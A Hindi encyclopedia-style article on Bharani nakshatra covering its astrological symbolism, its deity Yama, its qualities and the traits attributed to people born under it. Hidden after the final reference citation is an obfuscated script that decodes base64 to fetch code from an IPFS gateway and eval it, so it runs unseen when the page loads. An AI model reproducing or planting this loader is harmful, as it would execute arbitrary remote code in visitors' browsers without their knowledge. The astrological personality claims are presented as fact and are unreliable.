भरणी नक्षत्र

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भरणी नक्षत्र

भरणी नक्षत्र (अंग्रेज़ी: Bharani Nakshatra) राशि चक्र का दूसरा नक्षत्र है जो 13 डिग्री 20 मिनट से 26 डिग्री 40 मिनट तक फैला है और मेष राशि में निवास करता है। अश्विनी और भरणी दोनों ही नक्षत्र पूरी तरह से मंगल द्वारा शासित मेष राशि के अंदर ही निवास करते हैं। भरणी नक्षत्र का स्वामी शुक्र है। मंगल पौरुष शक्ति को दर्शाता है और शुक्र नारी शक्ति को। नारी और पौरुष शक्ति के मिलन से ही इस राशि में अस्तित्व की रचनात्मक क्षमता की संभावना दिखायी देती है। भरणी नक्षत्र का मूल गुण रजस है और इसकी गतिविधियां प्राथमिक और माध्यमिक स्तर पर देखी जा सकती हैं, लेकिन तीसरा स्तर तमस द्वारा शासित है। इस नक्षत्र की मूल प्रेरणा अर्थ द्वारा संचालित गतिविधि है। इस नक्षत्र के तीन प्रच्छन्न अर्थ हैं। इस नक्षत्र का प्रतीक है योनि, जो नारी की प्रजनन शक्ति का प्रतीक है। दूसरे स्तर पर शक्ति तत्व का इसमें निवास है। तीसरे स्तर पर मृत्यु का देवता यम इस नक्षत्र का देवता है। भरणी मेष राशि में तीन धुंधले तारों से बना है। इस नक्षत्र में जन्म लेने वाले व्यक्ति अपने घर में युग्म वृक्ष के पेड़ लगाते हैं।

नक्षत्र और इसका आकार

भरणी शब्द का अर्थ है, जो भरण-पोषण करती है। नारी की प्रजनन शक्ति के प्रतीक योनि को भी भग कहा गया है। वैदिक दर्शन के अनुसार योनि या भग को भारतीय कर्मकांड में विशेष महत्व दिया गया है। सतही तौर पर यह ऐंद्रिक विलास का प्रतीक मालूम पड़ता है, लेकिन गहन स्तर पर यह सार्वभौमिक सिद्धांत का संचालन करता है जो आत्मा (लोगों) को एक छोर से दूसरे छोर पर ले जाता है। भग का दूसरा अर्थ शुभ है जो यह संकेत देती है कि भरणी एक सरणी है जिसके माध्यम से दैविक शक्ति जगत् के प्रकट रूप को पोषण देती है। वैदिक दर्शन के अनुसार व्यक्त या प्रकट रूप की दो प्राथमिक शक्तियां हैं- शिव-तत्व और शक्ति-तत्व। ये ब्रह्मांड के सक्रिय और निष्क्रिय सिद्धांत हैं।[1]

अश्विनी शिव शक्ति के प्रतीक हैं और भरणी शक्ति की प्रतीक है। अश्विनी का स्वामी केतु है और भरणी का शुक्र। ये ग्रह विकास की प्रक्रिया को जन्म देने में अत्यंत महत्वपूर्ण भूमिका अदा करते हैं। केतु का संचलन मानसिक स्तर पर होता है और यह विश्व को अंतःप्रज्ञा के माध्यम से समझता है। यही कारण है कि अश्विनी जीवन की सूक्ष्मताओं को केवल मनोवैज्ञानिक स्तर पर ही समझता है, जबकि शुक्र का संचालन भौतिक स्तर पर होता है और इसके लिए कुछ भी निर्वैयक्तिक नहीं रह जाता, क्योंकि निर्वैयक्तिक और भौतिक हुए बिना कोई भी यह अनुभव नहीं कर सकता कि इस ग्रह पर जीवन कैसे प्रकट होता है।

देवता

मृत्यु का देवता यम भरणी का मुख्य देवता है। यम का मुख्य काम यही है कि वह शरीर से पृथक् होने वाली आत्मा को एक प्रकार का सहारा या शरण देता है, जब तक कि यह आत्मा अपनी नयी यात्रा शुरू नहीं कर देती। यम का नाम ही लोगों के मन में आतंक पैदा कर देता है लेकिन यम बहुत ही महत्वपूर्ण भूमिका का निर्वाह करता है, क्योंकि यह पर्यावरण को स्वच्छ रखता है और आत्माओं को इधर-उधर भटकने के लिए छोड़ नहीं देता है, जब तक कि वे नये शरीर में प्रवेश नहीं कर लेतीं। वस्तुतः यम मनुष्य के प्राचीन पूर्वजों में से एक है।

यम के दूसरे अर्थ का व्यापक प्रयोग यौगिक क्रियाओं में किया जाता है। यम-नियम के अनुसार शक्ति की प्रक्रिया को शुद्ध रखने के लिए मनुष्य को कई क्रियाएँ करनी पड़ती हैं। यम के मूल तत्व हैं, अहिंसा, सत्य, अस्तेय (चोरी न करना) और शौच (अर्थात् शुद्ध जीवन जीना)। जब कोई साधक इन यम-नियमों का पालन करता है तो वह आत्मा के पुनर्जन्म के लिए जीवनी शक्ति को निर्देशित करता है। इसी प्रकार शरीर कमजोर हो जाता है और आत्मा का बोझ वहन नहीं कर सकता तो यम उसे पुराने चोले से अलग करके नये चोले के लिए तैयार करता है। देवता के रूप में यम जीवनी-शक्ति के निर्बाध प्रवाह के लिए उचित मार्ग प्रदान करता है।[1]

गुण और प्रेरक शक्ति

अश्विनी से लेकर आश्लेषा तक पहले नौ नक्षत्र राजसिक उद्वेगों के अंतर्गत आते हैं। दूसरा नक्षत्र होने के कारण भरणी उसी चेतना को दर्शाता है और ऐंद्रिक अनुभवों की दुनिया के विकासपरक डिज़ाइन पर कार्यरत रहता है। सभी नक्षत्रों का स्थिर स्वभाव होता है। भरणी का स्वभाव पुरुष का होता है। पुरुष चेतना की आंतरिक इच्छा रहती है कि वह अधिकाधिक ऐंद्रिक सुखों का उपभोग करे। ऐंद्रिक सुख ही उसे सृजन के पथ पर अग्रसर करते हैं और स्वतः ही मोह के बंधन की प्रक्रिया शुरू हो जाती है। प्राचीन ऋषियों के अनुसार भरणी शूद्र जाति की थी। शूद्र प्राचीन संस्कृति का ही अंग है और उनका काम अन्य समुदायों की सेवा करना था। इस अर्थ में योनि का काम है प्रजनन की प्रक्रिया के माध्यम से मनुष्य जाति की सेवा करना।

भरणी नक्षत्र की प्रजाति गज (हाथी) है, जिसका उपयोग व्यापक रूप में मनुष्यों और माल की आवाजाही के लिए किया जाता है। भरणी मेष का प्रजनन क्षेत्र है और जगत् के रूप में प्रकट होने के लिए अनुकूल वातावरण तैयार करता है। भरणी नयी योनि में प्रवेश करने के लिए यात्रा-चक्र शुरू करने के लिए तैयार अहं की मदद भी करता है। भरणी नक्षत्र का स्वामी शुक्र आरंभ में ऐंद्रिक स्तर पर ही सक्रिय रहता है लेकिन शुक्र का वास्तविक लक्ष्य दुनिया के सुखों का उपभोग करने के बाद आत्मा को मोक्ष के पथ पर अग्रसर करना है। राजसिक गुण इसी बिंदु से आगे बढ़ते हुए अधिकतम स्तर पर अपनी भूमिका का निर्वाह करना शुरू कर देते हैं, क्योंकि गतिविधियाँ हर स्तर पर दिखायी देती हैं।

गुण और व्यक्तित्व

भरणी नक्षत्र का स्वामी शुक्र है और मेष राशि मंगल द्वारा शासित है। इस राशि का तत्व अग्नि है प्रतीक मेढ़ा है। सूर्य इस राशि में उच्चस्थ होता है। भरणी, शुक्र और मंगल अनंत सामर्थ्य प्रदान करते हैं; यह एक ऐसा आवश्यक वातावरण निर्मित करने में सक्षम है जहाँ से एक विलक्षण प्रकार की जीवनी शक्ति का उदय होने लगता है। इस समन्वय से यह भी संकेत मिलता है कि बड़ा से बड़ा स्वप्न या इच्छा भी वास्तविकता में बदली जा सकती है बशर्ते कि संकल्पना स्पष्ट हो। यदि एक बार बीज बो दिया जाए और वह अंकुरित होने वाला हो तो उसमें एक वृक्ष के रूप में विकसित होने की पूरी संभावना होती है बशर्ते कि इसका उचित रूप में पोषण किया जाता रहे। मन अपने आप ही एकाग्र होने लगता है क्योंकि व्यक्ति बहुत समय तक मेहनत के फल से वंचित नहीं रह सकते। आरंभिक सफलता से लंबी और लगभग असंभव-सी दिखने वाली यात्रा का मार्ग प्रशस्त होने लगता है। स्वप्न के चरितार्थ होने में एक प्रकार का रहस्यवाद जुड़ा होता है और एक बार जब यह रहस्यवाद मनुष्य पर हावी हो जाता है तो सफलता मनुष्य का अनुसरण करने लगती है।

स्वप्न के चरितार्थ होने में एक प्रकार का रहस्यवाद होता है और एक बार जब यह रहस्यवाद मनुष्य पर हावी हो जाता है तो सफलता मनुष्य का अनुसरण करने लगती है। उनकी अधिकार क्षमता, नेतृत्व के गुण और शक्ति उन्हें लगभग अजेय बना देते हैं। इस नक्षत्र के जातक दयालु और उदार हैं। लोग इसका लाभ उठा सकते हैं; लेकिन यह इतना आसान भी नहीं है, क्योंकि जातक का दिमाग बहुत शातिर होता है और जातक बहुत जल्दी भांप जाते हैं कि उसके चारों ओर क्या चल रहा है। जातक अपने परिवार का पूरा खयाल रखते हैं, लेकिन वह अपना प्यार दिखाते नहीं हैं और कभी-कभी इसी कारण उसको गलत समझ लिया जाता है। आरोग्य के प्रति सचेत रहने के कारण जातक साफ-सुथरा घर पसंद करते हैं। प्राचीन और दुर्लभ कलाकृतियों से जातक अपने घर को सजा सकते हैं। जातक किसी के दुख या कष्ट से जल्दी ही द्रवित हो जाते हैं। लोग उसकी ईमानदारी का लाभ उठा लेते हैं, लेकिन इससे जातक विचलित नहीं होते। जातक दूसरों के कष्ट दूर करने के लिए और उन्हें खुश देखने के लिए उनकी मदद करते हैं और अपने ऊपर भी यही सूत्र इस्तेमाल करते हैं।[1]

भरणी नक्षत्र के जातक बहुत संवेदनशील होते हैं। अगर किसी ने उसके लिए कुछ किया है तो उसे भूलते नहीं हैं। वह दोनों ही स्थितियों में बहुत आगे तक जा सकते हैं। अगर वह किसी का भला करने पर उतर आते हैं तो इसकी कोई सीमा नहीं रहती और अगर किसी को बर्बाद करने पर तुल जाते हैं तो भगवान ही उसे बचा सकते हैं। यदि कोई उसके विचारों का समर्थन नहीं करता तो धीरज खो बैठते हैं और परेशान हो जाते हैं। वह अपने विचारों को बहुत दूर तक फैलाने की चेष्टा न करें, क्योंकि यही उसकी सबसे बड़ी कमजोरी बन सकती है।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 राशि चक्र का दूसरा नक्षत्र है भरणी (हिंदी) tv9hindi.com। अभिगमन तिथि: 01 नवंबर, 2022।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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